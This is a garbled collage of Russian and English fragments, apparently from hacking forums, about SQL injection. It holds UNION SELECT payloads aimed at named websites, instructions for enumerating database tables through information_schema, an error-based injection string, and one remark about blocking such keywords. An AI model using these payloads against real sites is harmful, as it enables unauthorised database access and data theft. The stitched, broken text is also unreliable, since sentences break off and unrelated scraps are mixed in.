CHAR() (SM): SELECT CHAR(64) Переводит ASCII-код в соответствующий символ. 9. Оператор UNION С оператором UNION можно делать запросы к пересечению таблиц.
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
http://www.photoindustria.ru/?mod=contest&id=14+union+select+null,null,null,null,null,null+from+ABCDEF. Click to expand... Если ABCDEF заменить на USERS - запроспроходит. Далее подбираем поля
cast bar48 sec ago.
If field is not sanitized, and only if the number of the columns used in the UNION SELECT match with the columns of the query, most likely will appear the string 91351456272.9 somewhere in the page. That will be the confirmed for the attacker of a vulnerability in the page.
=-=-=-=-=- used with order :: convert( using ascii) or unhex(hex()) like : PHP Code: www. westbury. com/ article. php? article_id =- 117 union select 1 , 2 , convert ( group_concat (table_name ) using ascii ), 4 , 5 ,6 , 7 + from +information_schema .tables — IF’ascii’ dosent work? you can.
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like
On my site, for instance, it's entirely safe to fail any request with the string 'concat' or %20union' or 'information_schema'. Indeed, I can even ban any IP that so much as bothers to attempt a request including such strings.
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.